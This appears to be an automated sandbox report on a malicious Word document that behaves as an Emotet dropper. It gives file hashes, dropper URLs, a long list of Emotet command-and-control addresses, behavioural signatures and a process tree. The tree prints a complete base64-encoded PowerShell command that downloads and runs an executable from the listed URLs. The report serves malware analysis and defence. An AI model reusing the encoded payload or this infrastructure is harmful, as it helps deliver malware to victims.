Analysis
- max time kernel
138s - max time network
151s - platform
windows10_x64 - resource
win10v200722 - submitted
15/09/2020, 03:40
Static task
static1
Behavioral task
behavioral1
Sample
REP_EFV_090120_EJV_091520.doc
Resource
win7v200722
General
- Target REP_EFV_090120_EJV_091520.doc
- Size 152KB
- Sample200915-e3h2csy4ya
- SHA256 6ef3421c3c2d879e5ca7cb83b8a540f77a9f78cc60ed7ef9771ef39e8b92f48c
- MD5 8ebc0dc9246b6c2a33e712a62cba4e0b
- SHA1 5547aa033385cf5bc236e7af295a1798c3be2c4e
- SHA512 aed2143bd0e9e00092728e72857df68fb6aeb164b943be621b6f57fb9180c15a9bc3c81f50af7e8737a1052cdc092242d18030850b91441378ac14b8eaee10a2
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://www.gozowindmill.com/meteo/97/
-
exe.dropper
http://www.greaudstudio.com/docs/Z/
-
exe.dropper
https://b176f.cn/wp-admin/1/
-
exe.dropper
https://blog.socialpill.in/jdzetd/fZuInax/
-
exe.dropper
http://maisshake.com.br/wp-includes/dPmzV1/
-
exe.dropper
http://mesdelicesitaliens.fr/wp-admin/tSlCBpP/
-
exe.dropper
http://grndl.com/oinj/j4/
Extracted
-
emotet
-
104.32.141.43:80
-
104.156.59.7:8080
-
120.138.30.150:8080
-
139.59.67.118:443
-
61.92.17.12:80
-
103.86.49.11:8080
-
174.45.13.118:80
-
75.139.38.211:80
-
104.131.11.150:443
-
121.124.124.40:7080
-
200.114.213.233:8080
-
185.94.252.104:443
-
181.169.34.190:80
-
187.161.206.24:80
-
93.147.212.206:80
-
176.111.60.55:8080
-
83.169.36.251:8080
-
174.102.48.180:443
-
24.179.13.119:80
-
120.150.60.189:80
-
107.5.122.110:80
-
37.187.72.193:8080
-
50.91.114.38:80
-
168.235.67.138:7080
-
84.39.182.7:80
-
219.74.18.66:443
-
91.211.88.52:7080
-
5.196.74.210:8080
-
24.137.76.62:80
-
87.106.136.232:8080
-
5.39.91.110:7080
-
104.131.44.150:8080
-
201.173.217.124:443
-
62.75.141.82:80
-
153.177.101.120:443
-
153.232.188.106:80
-
139.99.158.11:443
-
85.66.181.138:80
-
209.141.54.221:8080
-
85.152.162.105:80
-
82.225.49.121:80
-
162.241.242.173:8080
-
169.239.182.217:8080
-
1.221.254.82:80
-
50.35.17.13:80
-
78.24.219.147:8080
-
89.216.122.92:80
-
82.80.155.43:80
-
87.106.139.101:8080
-
85.214.28.226:8080
-
194.187.133.160:443
-
74.120.55.163:80
-
157.245.99.39:8080
-
74.208.45.104:8080
-
79.137.83.50:443
-
139.59.60.244:8080
-
95.179.229.244:8080
-
203.153.216.189:7080
-
203.117.253.142:80
-
172.91.208.86:80
-
46.105.131.79:8080
-
110.145.77.103:80
-
188.219.31.12:80
-
68.188.112.97:80
-
109.74.5.95:8080
-
62.30.7.67:443
-
137.59.187.107:8080
-
156.155.166.221:80
-
104.236.246.93:8080
-
94.23.216.33:80
-
94.23.237.171:443
-
95.213.236.64:8080
-
79.98.24.39:8080
-
97.82.79.83:80
-
47.144.21.12:443
-
37.139.21.175:8080
-
139.162.108.71:8080
-
12.30.50.130:80
-
94.200.114.161:80
-
78.187.156.31:80
-
61.19.246.238:443
-
85.105.205.77:8080
-
139.130.242.43:80
-
213.196.135.145:80
-
137.119.36.33:80
-
24.43.99.75:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 984 3844 powershell.exe 72 - Blacklisted process makes network request 4 IoCs
flow pid Process 21 984 powershell.exe 23 984 powershell.exe 25 984 powershell.exe 29 984 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 3288 Ujkfmkgc.exe 3772 rsaenh.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\WinSATAPI\rsaenh.exe Ujkfmkgc.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3952 WINWORD.EXE 3952 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 984 powershell.exe 984 powershell.exe 984 powershell.exe 3772 rsaenh.exe 3772 rsaenh.exe 3772 rsaenh.exe 3772 rsaenh.exe 3772 rsaenh.exe 3772 rsaenh.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 984 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3288 Ujkfmkgc.exe 3288 Ujkfmkgc.exe 3772 rsaenh.exe 3772 rsaenh.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 984 wrote to memory of 3288 984 powershell.exe 78 PID 984 wrote to memory of 3288 984 powershell.exe 78 PID 984 wrote to memory of 3288 984 powershell.exe 78 PID 3288 wrote to memory of 3772 3288 Ujkfmkgc.exe 80 PID 3288 wrote to memory of 3772 3288 Ujkfmkgc.exe 80 PID 3288 wrote to memory of 3772 3288 Ujkfmkgc.exe 80
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_EFV_090120_EJV_091520.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3952
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABSADMAbABmAF8AZgAyAD0AKAAoACcASgA5ADEAeAB5ACcAKwAnAGwAJwApACsAJwA0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAcgBwAHIATwBGAEkAbABlAFwARgAwAEIAdwBlADUANABcAGQARwB3AGwAcgBZADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAGAAVAB5AHAAcgBgAE8AYABUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAgAHQAbAAnACsAJwBzACcAKwAnADEAMQAnACkAKwAnACwAJwArACgAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABBADYANgBqADYAdgB1ACAAPQAgACgAJwBVAGoAJwArACcAawBmACcAKwAoACcAbQBrACcAKwAnAGcAYwAnACkAKQA7ACQAVABxAGQAeQA5ADkAbQA9ACgAKAAnAFoAdwAnACsAJwBjAGsAcAAnACkAKwAnADUAJwArACcAYgAnACkAOwAkAFcAbgBpAHUAawBrAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA0ACcAKwAnAHgAUAAnACkAKwAoACcARgAwACcAKwAnAGIAdwAnACkAKwAoACcAZQAnACsAJwA1ADQAJwArACcANAB4AFAARABnAHcAJwApACsAKAAnAGwAcgB5ADQAJwArACcANAAnACkAKwAnAHgAUAAnACkALgAiAHIARQBwAEwAQQBgAEMARQAiACgAKABbAGMAaABhAFIAXQA1ADIAKwBbAGMAaABhAFIAXQAxADIAMAArAFsAYwBoAGEAUgBdADgAMAApACwAJwBcACcAKQApACsAJABBADYANgBqADYAdgB1ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAQwBqAGgAZQBnADQANQA9ACgAJwBaAHQAJwArACcAaAAnACsAKAAnAG4AeQAnACsAJwB0AG8AJwApACkAOwAkAEcAdQBjAGgAcwBoADEAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAQwBMAGkARQBuAHQAOwAkAEYAdwBsADEAcwBzAHYAPQAoACcAaAAnACsAKAAnAHQAdABwADoALwAvAHcAJwArACcAdwB3AC4AJwArACcAZwBvAHoAbwAnACsAJwB3ACcAKQArACgAJwBpACcAKwAnAG4AZABtACcAKwAnAGkAbAAnACkAKwAoACcAbAAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAG0AZQB0AGUAbwAvACcAKwAnADkANwAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AdwB3AHcAJwApACsAJwAuAGcAJwArACgAJwByAGUAJwArACcAYQAnACkAKwAnAHUAJwArACgAJwBkAHMAdAB1AGQAJwArACcAaQBvAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AZAAnACkAKwAoACcAbwAnACsAJwBjAHMALwBaACcAKwAnAC8AKgBoAHQAdABwAHMAJwApACsAJwA6ACcAKwAoACcALwAvAGIAJwArACcAMQA3ACcAKwAnADYAZgAuACcAKwAnAGMAJwApACsAJwBuACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQAnACsAJwBkAG0AaQBuACcAKQArACgAJwAvADEALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvAGIAJwArACgAJwBsAG8AJwArACcAZwAnACkAKwAoACcALgAnACsAJwBzAG8AJwApACsAJwBjAGkAJwArACgAJwBhAGwAJwArACcAcABpACcAKQArACgAJwBsAGwALgBpAG4ALwBqAGQAJwArACcAegAnACsAJwBlAHQAJwArACcAZAAvACcAKQArACcAZgBaACcAKwAnAHUAJwArACgAJwBJAG4AYQB4ACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAbQBhACcAKwAnAGkAcwAnACkAKwAnAHMAJwArACcAaAAnACsAKAAnAGEAJwArACcAawBlACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC4AJwArACcAYgAnACsAJwByAC8AJwArACcAdwBwAC0AaQBuAGMAbAB1AGQAJwApACsAJwBlACcAKwAoACcAcwAvAGQAUAAnACsAJwBtACcAKQArACcAegBWACcAKwAnADEALwAnACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBtACcAKwAnAGUAJwArACcAcwBkACcAKQArACcAZQBsACcAKwAoACcAaQAnACsAJwBjAGUAJwApACsAKAAnAHMAaQB0AGEAJwArACcAbAAnACkAKwAoACcAaQBlAG4AJwArACcAcwAnACkAKwAoACcALgBmAHIAJwArACcALwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQAnACsAJwBkACcAKQArACgAJwBtACcAKwAnAGkAbgAnACkAKwAnAC8AdAAnACsAKAAnAFMAbAAnACsAJwBDAEIAcABQAC8AJwApACsAKAAnACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACkAKwAoACcAZwByACcAKwAnAG4AZABsAC4AYwBvACcAKwAnAG0ALwBvACcAKQArACgAJwBpACcAKwAnAG4AagAvAGoAJwArACcANAAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAdgBpADEAeABrAHAAPQAoACcASgAnACsAJwB2AHoAJwArACgAJwAxADEAbgAnACsAJwBuACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARgBtAGQAcwBlAG8ANwAgAGkAbgAgACQARgB3AGwAMQBzAHMAdgApAHsAdAByAHkAewAkAEcAdQBjAGgAcwBoADEALgAiAEQATwB3AG4AbABgAE8AYQBEAEYAYABJAGwAZQAiACgAJABGAG0AZABzAGUAbwA3ACwAIAAkAFcAbgBpAHUAawBrAGoAKQA7ACQARwA5AGkAYgAwADkAbwA9ACgAKAAnAFEAJwArACcAMQB6ACcAKQArACgAJwBwACcAKwAnADEAXwBwACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcAbgBpAHUAawBrAGoAKQAuACIATABlAGAATgBHAGAAVABoACIAIAAtAGcAZQAgADIAOAA5ADEANQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABXAG4AaQB1AGsAawBqACkAOwAkAEwAYQA2AHcAbAB2ADYAPQAoACgAJwBGADMAJwArACcAdwBkAGQAJwApACsAJwB5AHcAJwApADsAYgByAGUAYQBrADsAJABUAGUAMQBrAG0AeABtAD0AKAAoACcARwBkADkAdgAnACsAJwBhACcAKQArACcAawAnACsAJwBvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBzAGsAbQBzADUAOQA9ACgAKAAnAEsAaAAzACcAKwAnAGcAJwApACsAJwA0ADgAJwArACcAdAAnACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:984 -
C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe"C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Windows\SysWOW64\WinSATAPI\rsaenh.exe"C:\Windows\SysWOW64\WinSATAPI\rsaenh.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3772
-
-